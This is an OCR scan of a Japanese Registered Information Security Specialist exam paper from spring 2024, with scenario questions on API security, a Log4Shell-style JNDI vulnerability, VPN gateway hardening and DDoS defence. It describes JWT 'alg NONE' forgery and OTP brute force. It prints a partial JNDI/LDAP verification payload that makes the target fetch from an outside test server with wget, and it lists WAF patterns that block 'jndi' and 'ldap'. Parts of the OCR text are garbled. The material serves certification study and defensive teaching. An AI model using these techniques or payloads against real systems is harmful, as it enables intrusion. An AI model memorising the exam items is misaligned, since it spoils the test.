
匿
令和 6年度春期

情報処理安全確保支援士試験

午後問題

12:30~ 15:00 (2時間 30分）

注意事項

1. 試験開始及び終了は，監督員の時計が基準です。監督員の指示に従ってください。

2. 試験開始の合図があるまで，問題冊子を開いて中を見てはいけません。

3. 答案用紙への受験番号などの記入は，試験開始の合図があってから始めてください。

4. 問題は，次の表に従って解答 してください。

ロ 問 1～問4

2問選択

5, 答案用紙の記入に当たっては，次の指示に従ってください。

(1) B又は HBの黒鉛筆又はシャープペンシルを使用してください。

(2)受験番号欄に受験番号を，生年月 日欄に受験票の生年月日を記入してください。

正しく記入されていない場合は，採点されないことがあります。生年月日欄につい

ては，受験票の生年月日を訂正した場合でも，訂正前の生年月日を記入してくださ

い。

＇ 

(3)選択した問題については，次の例に従って，選択欄の問題番号を0印で囲んで

ください。0印がない場合は，採点されま

せん。3問以上0印で囲んだ場合は，はじ 〔問 1' 問3を選択した場合の例）

一めの 2問について採点します。

(4)解答は，問題番号ごとに指定された枠内

に記入 してください。

(5)解答は，丁寧な字ではっきりと書いてく

ださい。読みにくい場合は，減点の対象に

なります。 問4

注意事項は問題冊子の裏表紙に続きます。

こちら側から裏返 して，必ず読んでください。
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令和 6年 7月 19日

情報処理安全確保支援士試験午後 問題

ページ
問題

ノイ丁ー 誤 正
番号

表 1

31 4 No. 16の パーミッションは 774”とする。 パーミッシ ョンは 7753)とする。

上から 4行目



問 1 APIセキュリティに関する次の記述を読んで，設問に答えよ。

G社は，ヘルスケアサービス新興企業である。利用者が食事，体重などを入力して，

そのデータを管理したり，健康リスクの判定や食事メニューのアドバイスを受けた

りできるサービス（以下，サービス Yという）を計画している。具体的には，クラウ

ドサービス上にサーピス Y用のシステム（以下， Sシステムという）を構築して， G

社が既に開発しているスマートフォン専用アプリケーションプログラム（以下， G社

スマホアプリという）からアクセスする。 Sシステムの要件を図 1に示す。

要件 1:利用者が入力したデータを蓄積する。

要件 2:蓄積したデータを機械学習で学習し，その結果を利用して健康リスクの判定や食事メニ

ューのアドバイスを利用者に提供する。

要件 3:利用者のステータス（以下，利用者ステータスという）として，“有供利用者＂と‘‘無

俗利用者＂を定義する。有侶利用者の場合，全ての機能を利用できる。無倍利用者の場

合，機能の利用に一部制限がある。

要件 4:可能な限り，既存のサーピスやライプラリを使って構築する。

図 1 Sシステムの要件（抜粋）

G社は， Sシステムの構築を ITベンダーF社に委託した。 F社との協議の結果，ク

ラウドサービスプロバイダ E社のクラウドサービス上に Sシステムを構築する方針に

した。

〔APIの設計〕

Sシステムには，将来的には他社が提供するスマートフォン専用アプリケーション

プログラムからもアクセスすることを想定し， RESTful API方式の API（以下， Sシス

テムの APIをS-APIという）を用意する。 RESTful APIの設計原則の一つにセッショ

ン管理を行わないという性質がある。この性質を| a |という。

E社が提供するクラウドサービスのサービス一覧を表 1に，サービス Yのシステム

構成を図 2に， S-API呼出し時の動作概要を図 3に， S-APIの仕様を表 2に， Sシステ

ムの仕様を図 4に，それぞれ示す。
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表 1 E社が提供するクラウドサーピスのサービス一覧（抜粋）

サーピス名 サーピス概要

サービス K APIゲートウェイサーピスである。当該サーピスは， APIへのリクエストを受信

し，その内容に基づき，サーピス Lを呼び出す。

サーピス L イベント駆動型のコンピューティングサーピスである。サービス Kからの呼出

しがあったとき，又は指定された日時に，事前に定義された処理を実行する。

また，外部サービスと連携する。

サービス M マネージド型のデータベースサービスである。

サーピス N マネージド型の WAFサーピスである。サーピス Kが受信した APIへのリクエス

トを検査して，許可・検知 ・遮断を行う。

注記 Sシステムの構築時点では，サーピス Nを導入しないー計画である。

スマートフォン E社クラウドサービス

Sシステム

I サーピスk | I サーピスLI I サーピスM | 

二 外部サービス

注記 サーピス K及びサーピス Lからインターネットヘの通信は許可されている。

図 2 サー ビス Yのシステム構成

G社スマホアプリから S-APIが呼び出された場合の動作は次のとおりである。

• S-APIが呼び出されると， S-APIへのリクエストは，サービス Kが一元的に受ける。サービス K

は，そのリクエスト内容に基づき，サーピス Lを呼び出す。サービス Lは，事前に定義された

処理を実行してレスポンスをサーピス Kに返し，サービス Kは， 6社スマホアプリにレスポン

スを返す。

・サービス Lでは，データベースのデータの読取り又は書込みが必要な場合は，事前に定義され

た処理からサービス Mを呼び出す。

図 3 S-API呼出し時の動作概要（抜粋）
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表 2 S-APIの仕様（抜粋）

API名 概要 メソッド パラメータ

認証 API • 利用者 ID とパスワー ドを検証する。 POST mid（利用者 ID)

•利用者 ID とバスワードが事前に登録された pass（パスワード）

ものと一致した場合，毎回ランダムに生成さ

れる数字 4桁の文字列（以下，文字列 Xとい

う）を，事前に登録されたメールア ドレスに

送信する。

・一致しなかった場合，‘‘認証失敗＂とな る。

• 利用者の G 社スマホアプリから受信した利用 POST mid（利用者 ID)

者 IDと数字4桁の文字列を検証する。 otp (G社スマホアプ

・G社スマホアプリから受信した文字列が文字 リから受信した文字

列 Xと一致した場合，‘‘認証成功＂と判定 列）

し，JSONWeb Token（以下，JWTという）を

発行してJWTを含むレスポンスを返す。

・文字列 Xを生成してから 10分以内に“認証

成功＂とならなかった場合 ，“認証失敗＂と

なる。

利用者 API •利用者情報を取得，更新する。 GET mid（利用者 ID)

• F社が既に開発済みの利用者管理共通ライプ PUT mid（利用者 ID)

ラリ（以下，共通モジュール Pという）を利 name（名前）

用する。共通モジュール P, 及び共通モジュ age（年齢）

ール Pを呼び出す処理 （以下，P呼出し処理

という）は，サーピス Lに定義されており，

利用者ステータスの管理にも利用される。共

通モジュール Pは，サーピス Mを呼び出し

て， 次の処理を行う。

-GETメソッドが使われた場合，パラメータ

midで指定された利用者 IDにひも付く利

用者情報を含むレスポンスを返す。

-PUTメソッドが使われた場合，パラメータ

midで指定された利用者 IDにひも付く利

用者情報を更新する。

注記 Sシステムは，表中のパラメータのほか，HTTPリクエス トのヘッダに含まれる情報を用いて

処理を行う。
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〔J町を利用したアクセス〕

• J町は，‘‘ヘッダ",“ペイロード",“署名＂の 3種類の要素から構成されており，各要素は

base64urlでエンコードされ，“. （ドット）＂で結合されている。

ヘッダ：署名の作成の際に使用するアルゴリズムが指定される。

ペイロード ：利用者 ID, 有効期限などが含まれる。

署名：ヘッダに指定されたアルゴリズムとシステムが生成したシークレットを使用し，ヘッ

ダとペイロードに対する署名が作成される。

. sシステムでは，J町の管理に， F社が開発したJWT管理ライプラリ（以下，ライブラリQと

いう）を利用する。

. sシステムから発行されたJWTは， G社スマホアプリに保存される。 G社スマホアプリは，

HTTPリクエスト内の Authorizationヘッダに BearerスキームとJ町を設定し， Sシステム

に送信する。 Sシステムは，受信したJ町をライプラリ 0に渡す。ライプラリQは，JWT内

のヘッダに指定されたアルゴリズムに基づいてJWTを検証する。J町内の署名を検証した

後，ペイロードに含まれた利用者 IDを確認して利用者を識別し，必要な情報を含めてレス

ポンスを返す。

• JWTを利用したアクセスは，ペイロードに含まれた有効期限まで許可される。

〔有侶利用者に対する課金方法〕

・課金には外部の課金サービスを利用する。

〔機械学習による学習と判定 ・アドバイス〕

・健康リスクの判定や食事メニューのアドバイスを行うため，外部の機械学習サーピスを学習

と分析に利用する。

・機械学習による学習は，日次バッチ処理で実現する。サービス Lに定義された処理を午前 1

時に起動して，サービス Mからデータを取り出し，外部の機械学習サーピスにデータを入力

する。

• G社スマホアプリから S-APIの一つである健康リスク判定 AP!, 食事推奨 AP!が呼び出され

た場合，サービス Lに定義された処理が外部の機械学習サーピスを呼び出して，判定 ・アド

バイスを取得する。

固4 Sシステムの仕様（抜粋）

1
.‘,. 

ぜい

〔脆弱性診断の結果〕

Sシステムの構築が進み全ての機能を動作確認できたので， G社で Sシステムのセ

キュリティを担当する Rさんが，セキュリテイベンダーである U社に脆弱性診断（以

下，診断という）を依頼した。 U社による診断レポー トを表 3に示す。
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表 3 U社による診断レポート（抜粋）

項番 名称 対象API 脆弱性

1 

2 

3 

4 

JWT改ざん 全体 JWTに指定された利用者 IDを利用してデータが取得，更新

によるなり されるので，ヘッダとペイロードを改ざんしたJWTを送信

すまし すると，他の利用者へのなりすましが可能である。

アクセスコ 利用者 API パラメータ midに他の利用者 IDを指定すると，他の利用者

ントロール IDにひも付く利用者情報を取得，改変できてしまう。

の不備 A

アクセスコ 利用者 AP! 利用者 APIで利用者情報を更新する場合，“paid"という値

ントロール を設定したパラメータ ‘‘status"を追加して送信すると，

の不備 B 利用者ステータスを無個利用者から有俗利用者に改変でき

てしまう。

2要素認証 認証 API 総当たり攻撃によって，文字列 Xを使った認証メカニズム

の突破 を突破できる。 1秒間に 10回試行する総当たり攻撃を行っ

た場合，文字列 Xの検証において，平均的な認証成功まで

の時間は 1 b 1秒になり，突破される可能性が高

い。

表 3の項番 1について， U社のセキュリティコンサルタントで清報処理安全確保支

援士（登録セキスペ）の Z氏は，次のように説明した。

・認証 APIで，利用者 ID"user01’'での認証が成功した後，診断中に発行された JWT

のデコード結果は，表 4のとおりであった。

表 4 J町のデコー ド結果（抜粋）

ヘッダ ペイロード

｛ ｛ 

"alg": "RS256", "user": "user01 ", 

（省略） "1at": 1713059329, 

｝ "exp": 1713664129, 

（省略）

｝ 

• ここで，表 4 中の “RS256" の代わりに “NONE’' を指定し， “user01’' を他の利用者

IDに改ざんしたJWTを送信したところ，改ざんしたJ町の検証が成功し，他の利用

者へのなりすましができた。
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項番 2~4についても説明を受けた後， G社は，表3の脆弱性を分析し，対策につい

て， F社， U社を交えて検討した。

Rさんが取りまとめた脆弱性の分析と対策案を表 5に示す。

表 5 脆弱性の分析と対策案

表 3の項番 分析 対策案

1 （省略） ①ライプラ リQを修正する。

2 （省略） ②P呼出し処理に処理を追加する。

3 利用者 APIの仕様には，パラメータ プログラムの修正で対応する。

"status"の指定について定義されてい

ない。一方， 実装は，指定されたパラメ

ータを検証せず全てI C Iに送信し

ていた。ここで，送信内容を改ざん して

パラメータ "status" を追加してリクエ

ストを送信すると， 1 C Iは利用者

ステータスを変更できる。

4 （省略） 次の対策を実施する。

-I d lを実装する。そのし

きい値は 10とする。

ー突破される可能性を十分に低減す

るために，文字列 Xを数字 6桁に

変更する。

全ての対応が完了した後，試用モニターを対象に，サ＿ビス Yの提供を開始した。

〔セキュリ テ ィの強化〕

G社は，試用モニターヘのサービス Yの提供期間中に，インシデント対応に必要な

ログの取得方法を検討することになり ，F社と協議した。

F社によれば，ログ取得モジュールを実装するには時間が掛かるが，ログ取得モジ

ュールを実装しなくても，サービス Nを導入すること によって，通信ログを取得でき

るという。
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サービス Nにおける WAFルールの記述形式を函 5に示す。

・ルールは，［検証対象］，［パターン］及び［動作］の三つを 1行に記述する。

・［検証対象］には，次のいずれかを指定する。

GET : GETメソッドのパラメータの値を検証対象とする。

POST : POSTメソッドのパラメータの値を検証対象とする。

PUT : PUTメソッドのパラメータの値を検証対象とする。

ANY :全てのメソッドのパラメータの値を検証対象とする。

Header :全てのヘッダの値を検証対象とする。

COOKIE : cookieの値を検証対象とする。

Multi part : Multi part/form-dataのフィールドの値を検証対象とする。

・［パターン］には，次の要素で構成される正規表現を指定する。

：文字列の先頭とマッチする。

罪 ：任意の非英数字とマッチする。

XI y : X又はyとマッチする。

(xly)z : xz又はyzとマッチする。

[xyz] : x, y又は zのいずれかにマッチする。

：任意の文字とマッチする。

¥. :“. "とマッチする。

＊ ：直前の要素の 0回以上の繰返しにマッチする。

・［動作］には，次のいずれかを指定する。

許可：通信を通過させ，ログに記録しない。

検知：通信を通過させ，ログに記録し，管理者にアラートを送信する。

遮断：通信を遮断し，ログに記録し，管理者にアラートを送信する。

図 5 サービス Nにおける WAFルールの記述形式

Rさんは，サービス Nの Sシステムヘの導入を責任者に提案し，承認を得た。サー

ビス Nの導入完了後，サー ビス Yの提供を開始した。

〔新たな脆弱性への対応〕

数週間後，ライブラリ Hというオープンソースのライプラリに脆弱性 Vという脆弱

性があることが公表された。 Rさんは，脆弱性 Vについての関連情報を図 6のように

取りまとめた。
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・ライプラリ Hは，非常に多くのシステムで利用されており，既に脆弱性 Vが攻撃に悪用されて

いる事例が報告されている。

．脆弱t生 Vが存在するサーバ（以下，攻撃対象サーバという）への攻誤の流れを次に示す。

(1) 攻撃者は，事前に攻謡用 LDAPサーバと攻翠用 HTTPサーバを準備する。

(2) 攻華者は，実行したいコマンド（以下，コマンド Cという）を base64でエンコ＿ドした文

字列を含む，攻摯用 LDAPサ＿バに送信する LDAPリクエスト（以下， LDAPリクエストりとい

う）を作成する。その後， LDAPリクエスト Nを含み，脆弱性Vを悪用するJNDILookup (Java 

Naming and Directory Interface Lookup)を行う攻撃コードを準備する。

(3) 準備した攻撃コードを HTTPリクエストの x-api-versionヘッダの値として指定した HTTP

リクエストを攻撃対象サーバに送信する。

(4) 攻撃対象サーバは， HTTPリクエストを受信すると，攻撃コードを実行する。攻摯コードの

JNDI Lookupを実行し， LDAPリクエスト Wを攻撃用 LDAPサーバに送信する。

(5) 攻撃用 LDAPサーバは， LDAPリクエスト VIから，コマンド Cを base64でエンコードした文

字列を取り出し， デコー ドしてコマンド Cを取り 出す。コマン ドCを実行させるJavaクラス

ファイル（以下，Jファイルという）を自動生成し，攻設用 HTTPサーバに配箇する。攻撃用

HTTPサーバは，Jファイルが配四された攻誤用 HTTPサーバの URL（以下， URL-Jという）を

攻球用 LDAPサ＿バに伝える。

(6) 攻撃用 LDAPサーバは， URL-Jを LDAPレスポンスに記載して攻撃対象サーバに返す。

(7) 攻撃対象サーバは，受信した LDAPレスポンスに記載された URL-Jにアクセスし，Jファイ

ルをダウンロ＿ドして，コマンド Cを実行する。

．脆弱t生VのCVSSv3. 1に基づいた基本値は9.8と高く，早急な対応が推奨されている。しかし，

現時点において，ライブラリ Hの公式 Webサイトでは，脆弱性 Vを修正したバージョンや暫定

対策は提供されていない。

• G社は Sシステムでライプラリ Hを利用しているかを F社に問い合わせているが， Sシステムの

構成を詳細に分析しなければならず，回答まで時間が掛かるとのことである。

• E社は，脆弱性 Vを悪用した攻撃を検知するために，サービス Nにおける WAFルールを現在開

発中であるが悪用パターンが多岐にわたることから，網羅性のある WAFルールの提供には最

大で 72時間掛かると発表している。

図 6 脆弱性 Vについての関連清報（抜粋）

Rさんは，脆弱性Vへの対応方針を Z氏に相談した。 Z氏は， F社の回答を待ってか

らの対応では遅いので，システムに影轡を与えない検証コードを Sシステムに対して

実行し，外部から脆弱性 Vを悪用できるか検証するよう提案 した。Rさんは， z氏の

協力の下，図 7に示す手順で検証を実施した。

(1) 攻撃用 LDAPサ＿バと攻賠用 HTTPサーバを兼ねたサーバ（以下， テス トサーバという）を構

築する。

(2) 固 8に示す検証コー ドを作成する。

(3) ③図8で指定したコマンドが実行されたことを確認する仕組みをテストサーバに実装する。

(4) 検証コー ドを HTTPリクエスト中に指定 して Sシステムに送信する。

図 7 Rさんが実施した検証手順
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~d2:1389/Command/Base64/d2d ldCBodHRw0 i 8vYTi uYjiuYz i uZDi vaW5kZXgu 

aHRtbA==} 

注記 1 a2.b2.c2.d2は， Rさんがテストサーバに割り当てた IPアドレスである。

注記 2 d2dldCBodHRwOi8vYTiuYjiuYziuZDivaW5kZXguaHRtbA＝＝のデコード結果は， wgethttp: //a2. 

b2.c2.d2/index. htmlである。これは，コマンド Cに相当する。

図 8 作成した検証コード

検証の結果，外部から脆弱性 Vを悪用できることが確認できた。この結果を踏まえ

て， Rさんは，脆弱性 Vを悪用する攻摯に備え， E社から WAFルールが提供されるま

での問現在判明している悪用パターンに対応可能な暫定的な WAFルールで攻草を遮

断することにした。

Rさんが考えた WAFルールの案を表 6に示す。

ルール

2
 

表 6 WAFルールの案

己 ：；
こニコ I ¥W ldap¥W 

動作

遮断

遮断

Rさんは，例えば“jnDI "のように大文字 ・小文字を入れ替える手口によって，

ルール 1と2それぞれで，案のパターンを回避する方法があることに気付いた。 ⑥三

のような手口にも対応できるように案を変更した。その後，変更後の案の確認を Z氏

に依頼した。

z氏は，⑤本番運用開始後の一定期間においては， WAFルールの動作には “検知”

を設定して，サービス Yが今までどおり 利用できるかを確認することを助言 した。 R

さんは，z氏の助言を踏まえて，WAFルールを設定した。

後日， Sシステムでは，ライブラリ Hを利用しているとの回答が F社からあった。

また， E社からサービス Nにおける WAFルールが提供された。その後，脆弱性 Vを修

正したバージョンがライブラリ Hの公式 Webサイトで配布され， Sシステム内のライ

ブラリ Hのバージョンを最新にすることで，脆弱性 Vへの対応が完了した。
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設問 1 本文中のIa |に入れる適切な字句を答えよ。

設問 2 〔脆弱性診断の結果〕について答えよ。

(1) 表3中のIb |に入れる適切な数値を，小数点以下を四捨五入して，

整数で答えよ。

(2) 表 5中の下線①について，修正後のライブラリQで行うJWTの検証では，

どのようなデータに対してどのような検証を行うか。検証対象となるデータ

と検証の内容を，それぞれ 20字以内で答えよ。

(3) 表 5中の下線②について， P呼出し処理に追加すべき処理を， 40字以内で

具体的に答えよ。

(4) 表 5中の ［ここニコ に入れる適切な字句を，表 2中の用語で答えよ。

(5) 表 5中のId |に入れる適切な処理内容を， 30字以内で答えよ。

設問3 〔新たな脆弱性への対応〕について答えよ。

(1) 図 7中の下線③について，テストサーバに実装する仕組みを， 35字以内で

具体的に答えよ。

(2) 表 6中のIe |, | f |に入れる適切な字句を，図 5中から選

び答えよ。

(3) 本文中の下線④の変更後の案について，表 6中のルール 1に記述すべきパ

ターンを，固 5の記述形式で答えよ。

(4) 本文中の下線⑤について， WAFルールの動作に“遮断”ではなく‘‘検知＂

を設定することによる利点と，“検知＂に設定した際に被 害を最小化するため

に実施すべき内容を，それぞれ 25字以内で答えよ。
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問2 サイバー攻撃への対策に関する次の記述を読んで，設問に答えよ。

H社は，従業員 3,000名の製造業であり， H社製品の部品を製造する約 500社と取

引を行っている。取引先は， H社に設置された取引先向け Webサーバに HTTPSでアク

セスし，利用者 IDとパスワードでログインした後， H社との取引業務を行っている。

また，公開 Webサーバでは， H社製品の紹介に加え，問合せや要望の受付を行ってい

る。いずれの Webサーバが停止 しても，業務に支障が出る。

H社では，社内に設置している PC（以下， H-PCという）とは別に，一部の従業員

に対して， VPNクライアントソフトウェアを導入したリモート接続用 PC（以下， リモ

ー ト接続用 PCをR-PCという）を貸与し， リモートワークを実現している。 R-PCとH

社との間の VPN通信には， VPNゲートウェイ（以下， VPNゲートウェイを VPN-GWとい

い， H社が使用している VPN-GWをVPN-Hという）を使用している。

H社のネットワークは，情報システム部の L部長と T主任を含む 6名で運用してい

る。 H社のネットワーク構成を図 1に示す。

L2SW :レイヤー2スイッチ

UTM：統合脅威管理

メール：電子メ ール

「---:. : -------=--=--=--=--=----
DMZ I 

取引先向けWebサーバ

公開Webサーバ

DNSサーバ 1)

プロキシサーバ 2)

メールサーバ

-------------------------' 

r ---------------------
I 内部サーバセグメント：
I .・・ I 
1/ 

---------------------1 

r ---=--=--=-=---------=--=-=--= -----―’ 
I l, ̂  ̂“, l. 1 ,'• I ,  

＇ ＇ I 

＇ I PCセグメント I

, _ -------------------_, 
H社

注 I) H社ドメインの権威 DNSサーバと再帰的な名前解決を行うフルサービス リゾルバを兼ねる。

注2' H-PCからインタ ーネットヘの HTTP及びHTTPS通信を中継する。

図 1 H社のネット ワーク構成

UTMの機能概要及び設定を表 1に， VPN-Hの機能概要及び設定を表 2に示す。
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表 1 UTMの機能概要及び設定

機能名 機能概要 至O又几及ー→こ

ファイアウ ステートフルパケットインスペクション型であり，送信元の IPアドレ 有効

ォール機能 スとポー ト番号，宛先の IPアドレスとポート番号の組合せによる通信

の許可と拒否のルールによって通信を制御する。

NAT機能 （省略） 有効

IPS機能 不正アクセスの検知方法は，次の 2通りを設定できる。 無効

アノマリ型 ：あらかじめ登録したしきい値を超えた通信を異常として

検知する。

シグネチャ型 ：あらかじめ登録したシグネチャと一致した通信を異常と

して検知する。

WAF機能 不正アクセスの検知方法は， IPS機能と同様に，アノマリ型とシグネチ 無効

ャ型を設定できる。

表 2 VPN-Hの機能概要及び設定（抜粋）

機能名 機能概要 こ5又n“r疋ら

VPN通信機 VPNクライアントソフトウェアを導入した PCとの間で VPN通信を行う。 有効
ム目とヒ VPN接続時の認証方式は， VPNクライアントソフトウェア起動時に表示

されるダイアログポックス（以下， VPNダイアログという）に，利用者

IDとパスワードを入力させる方式である。

多要素認証 利用者 IDとパスワー ドによる認証方式に次のいずれかの認証方式を組 無効

機能 み合わせた多要素認証を行う。

（ア）スマートフォンに SMSでセキュリテイコードを送り，その入力を

確認する方式 1)

（イ）デジタル証明笞によってクライアント認証を行う方式

（ウ）スマー トフォンに承認要求のプッシュ通知を送り，その通知の承

認を確認することで認証を行う方式

覆
＆

注 1> VPNダイアログに利用者 IDとパスワ＿ ドを入力し，その認証が完了すると，セキュリティコ

ード入力画面が表示され，SMSでセキュリ テイコードがスマートフォンに送信される。送信さ

れたセキュリティコードを，セキュリテイコード入力画面に入力することで認証される。

最近，同業他社でサイバー攻撃による被害が 2件立て続けに発生したという報道が

あった。 1件は， VPN-GWが攻撃を受け，社内ネットワ ークに侵入されで情報漏えいが

発生した事案である。 もう 1件は， DDoS攻撃による被害が発生した事案である。

H社でも同様な事案が発生する可能性について， L部長と T主任が調査することに

した。
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〔VPN-GWへの攻摯に対する調査〕

T主任は， VPN-GWへの攻撃方法を次のようにまとめた。

方法 1: VPN-GWの認証情報を推測し，社内ネットワークに侵入する。

方法 2: VPN-GWの製品名や型番を調査した上で，社内ネットワークヘの侵入が可能に
ぜい

なる脆弱性を調べる。もし，脆弱性が存在すればその脆弱性を悪用し，社内

ネットワークに侵入する。

T主任は，方法 1については， VPN-Hの認証強化を検討することにした。また，方

法 2については， VPN-Hの脆弱性対策と， VPN-Hへのポートスキャンに対する応答を

返さないようにする方法（以下，ステルス化という）を検討することにした。方法 1

と方法 2について T主任がまとめた対策案を表 3に示す。

表 3 方法 1と方法 2について T主任がまとめた対策案

攻撃方法 対策 対策名 内容

方法 1 V-1 VPN-Hの認証強化 インターネットから VPN-Hへのアクセス時は，

多要素認証を用いる。

方法 2 V-2 VPN-Hの脆弱性対策 （省略）

V-3 ステルス化 VPN-Hのポートを通常は応答を返さないように

設定しておく。 H社が許可した PCからのアクセ

ス時だけ，接続を許可する。
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〔DDoS攻撃に対する調査〕

次に， T主任は， DDoSに関連する攻撃について調査し， H社で未対策のものを表 4

にまとめた。

表 4 H社で未対策の DDoSに関連する攻撃

項番 攻撃 例

1 

2 

3 

4 

UDP Flood攻撃 公開 Webサーバ， DNSサーバを攻撃対象に，偽の送信元 IP

アドレスとランダムな宛先ポート番号を設定した UDPデ＿

タグラムを大足に送り付ける。

SYN Flood攻球 （省略）

DNSリフレクション攻撃の （省略）

踏み台にされる

HTTP GET Flood攻撃 | a | 

次は，表 4についての T主任と L部長の会話である。

T主任 ：項番 1, 2, 4のDDoS攻撃のサーバヘの影醤は， UTMの IPS機能と WAF機能で

軽減することができます。

L部長 ：そうか。機能の設定に関する注意点はあるのかな。

T主任 ：例えば，アノマリ型 IPS機能で， トラフィック量について， しきい値が高す

ぎる場合にも，①しきい値が低すぎる場合にも弊害が発生するので， しき

い値の設定には注意するようにします。また，項番 3の対策として，現在の

DNSサーバを廃止して，権威 DNSサーバの機能をもつサーバ（以下， DNS-K

という）とフルサービスリゾルバの機能をもつサーバ（以下， DNS-Fという）

を社内に新設します。インターネットから社内への DNS通信は ［ここここ］

への通信だけを許可し，社内からインタ ー ネットヘの DNS通信は

| c |からの通信だけを許可します。
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〔対策 V-1についての検討〕

次は，対策 V-1についての L部長と T主任の会話である。

L部長 ：対策 V-1での注意点はあるのかな。

T主任 ：最近は，多要素認証の利用が多くなってきたこともあり，多要素認証を狙

った攻撃が発生しています。多要素認証を狙った攻華例を表 5に示します。

表 5 多要素認証を狙った攻撃例

攻琺例 概要

攻撃例 1 表 2（ア）と組み合わせた多要素認証を突破するフィッシング攻撃であり，次の

手順で行われる。
わな

(1) 攻撃者が，フィッシングメ ールを使って， VPNダイアログの画面を装った罠

の Webサイトに正規利用者を誘導し，正規利用者に利用者 IDとパスワー ド

を入力させる。

(2) I d I 
(3) I e l 
(4) 攻撃者が，社内ネットワークに不正に接続する。

攻架例 2 表 2（ウ）と組み合わせた多要素認証を突破する多要素認証疲労攻撃であり，次

の手順で行われる。

（省略）

L部長：攻撃例 1については，不正なリ モー ト接続を阻止するために，メールで受信

したメッセージ内の URLリンクを安易にクリックしないよう 注意喚起する必

要があるな。

T主任：はい。 しかし， 当社では，業務の手続の督促などで従業員に URLリンクが含

まれるメールを送っているので， URL リンクのクリックを禁止することはで

きません。不審な URLかどうかを見極めさせることは難しいでしょう。そこ

で，②たとえ罠の Webサイ トヘの URLリンクをクリックしてし まって も，不

正なリモート接続をされないように，従業員全員が理解できる内容を， 注

意喚起する必要があります。
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〔対策 V-3についての検討〕

次は，対策 V-3についての L部長と T主任の会話である。

L部長：対策 V-3について説明してほしい。

T主任： VPN-Hには，どのような通信要求に対しても応答しない ‘'Deny-All"を設定

した上で，あらかじめ設定されている順番にポートに通信要求した場合だ

け所定のポートヘの接続を許可するという設定（以下，設定 Pという）があ

ります。

L部長：設定 Pの注意点はあるのかな。

T主任：設定されている順番を攻撃者が知らなくても，③攻撃者が何らかの方法で

パケットを盗聴できた場合，設定 Pを突破されてしまいます。

L部長 ：設定 Pとは別の方法はあるのかな。

T主任： VPN-Hの機能にはありませんが， SPA(Single Packet Authorization) とい

うプロトコルがあります。SPAの主な仕様を表 6に示 します。

表 6 SPAの主な仕様

項番 内容

1 

2 

3 

4 

TCPの SYNパケット又は UDPの叢初のパケット（以下． SPAパケットという） には， HMAC

ベースのワ ンタイムパスワ ー ドが含まれて おり， 送信元の真正性を送信先が検証でき

る。検証に成功すれば，以降の通信のパケットは許可される。検証に失敗すれば，以降

の通信のパケットは破棄される。

SPAパケットにはランダムデータが含まれており，送信先で検証される。以前受信したも

のと同じランダムデータをもつSPAパケットを受信した場合は，破棄される。

SPAバケットの最後尾フ ィールドには先行フ ィールドのハッシュ値が格納されている。 送

信先では，この値を検証し，検証に失敗すれば，そのパケットは破棄される。

送信先では，検証した結果は， 送信元に返さない。

T主任： SPAなら，④攻撃者が何らかの方法でパケットを盗聴できたとしても，突破

はされません。

L部長 ：そうか。VPN通信機能と同様の機能をもち， SPAを採用している製品がある

かどうか，ベンダーに相談してみよう 。
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L部長がベンダーに相談したところ， S社が提供しているアプライアンス（以下，

S-APPLという）の紹介があった。L部長と T主任は， S-APPLの導入検討を進めた。

〔S-APPLの導入検討〕

S-APPLは， VPN通信機能， SPAパケットを検証する機能などをもつ。 S-APPLと接続

するためには，S-APPLのエージェントソフトウェア（以下， Sソフトという）を接続

元の PCに導入し，接続元の PCごとの IDと秘密情報を， S-APPLと接続元の PCそれぞ

れに設定する必要がある。なお，秘密情報は， SPAパケットの HMACベースのワンタ

イムパスワードの生成などに使われる。 S-APPLとSソフトの主な機能を表 7に示す。

表 7 S-APPLとSソフトの主な機能

項番 機能名 機能概要

1 

2 

3 

4 

SPA機能 SPAパケットを用いて送信元の真正性を S-APPLが検証する。

VPN通信機能 S-APPLとSソフトを導入した PCとの間で VPNを確立する。

多要素認証機能 VPN-Hの多要素認証機能と同じ機能をもつ。

接続サーバ許可機能 VPN確立後にアクセス可能なサーバを PCごとに設定する。

T主任は，対策 V-1~3について，次のように考えた。

・対策 V-1については，表 7項番 3の機能で対応する。方式は，表 2（イ）の方式を

採用する。

・対策 V-2については， S-APPLの脆弱性情報を収集し，脆弱性修正プログラムが公

開されたら，それを適用する。

・対策 V-3については，表 7項番 1の機能で対応する。

T主任は，対策 V-3のための H社のネットワ ーク構成の変更案を作成した。なお，

変更する際は，次の対応が必要になる。

(1) VPN-HをS-APPLに置き換える。 R-PCには， Sソフトを導入する。

(2) R-PCごとの IDと秘密清報を， S-APPLとR-PCそれぞれに設定する。

(3) VPN-Hに付与していた IPアドレスを S-APPLに付与する。

(4) S-APPLの FQDNをDNSサーバに登録する。
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T主任は， S-APPLの導入によって VPN-GWへの攻撃の対策が可能であることを L部

長に説明した。 L部長は，効果とリスクを検討した上で，S-APPLを導入することを決

めた。

〔DDoS攻撃に対する具体的対策の検討〕

T主任は，表 4の項番 3以外に対する具体的対策の検討に若手した。

まず，通信回線については， DDoS攻撃で大醤のトラフィックが発生すると，使え

なくなる。 これについては，通信回線の帯域を大きくするという方法のほか， 虚堡

部のサービスを利用するという方法があることが分かった。

次に，サーバヘの影密は，これまでに検討した UTMの IPS機能と WAF機能を有効化

することで軽減できることが分かっている。加えて，取引先向け Webサーバについて

は，次の対応によって，⑥更に DDoS攻撃の影密を軽減できることが分かった。

•取引先には， H 社との取引専用の PC （以下，取引専用 PC という）を貸与する。 取

引専用 PCには， Sソフトを導入する。

• 取引専用 PC ごとの ID と秘密情報を， S-APPL と取引専用 PC それぞれに設定する。

• S-APPLに 取 引 専 用 PCが VPN確立後にアクセス可能なサーバとして，取引先向け

Webサーバだけを設定する。

• UTMのファイアウォール機能で，インターネットから取引先向け Webサーバヘの通

信を拒否するように設定する。

その後， H社では， S-APPLの導入， UTMの設定変更，DNSサーバの変更などを行い，

新たな運用を開始した。
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設問 1 〔卯oS攻撃に対する調査〕について答えよ。

(1) 表 4中のIa |に入れる攻撃の例を， H社での攻華対象を示して具体

的に答えよ。

(2) 本文中の下線①の場合に発生する弊害を，25字以内で答えよ。

(3) 本文中のIb |, | c |に入れる適切な字句を，‘‘DNS-F"又は

"DNS-K"から選び答えよ。

設問 2 〔対策 V-1についての検討〕について答えよ。

(1) 表 5中のId |, | e |に入れる，不正な接続までの攻摯手順

を，具体的に答えよ。

(2) 本文中の下線②について，注意喚起の内容を，具体的に答えよ。

設問3 〔対策 V-3についての検討〕について答えよ。

(1) 本文中の下線③について，設定 Pを突破する方法を， 30字以内で答えよ。

(2) 本文中の下線④について，突破されないのはなぜか。40字以内で答えよ。

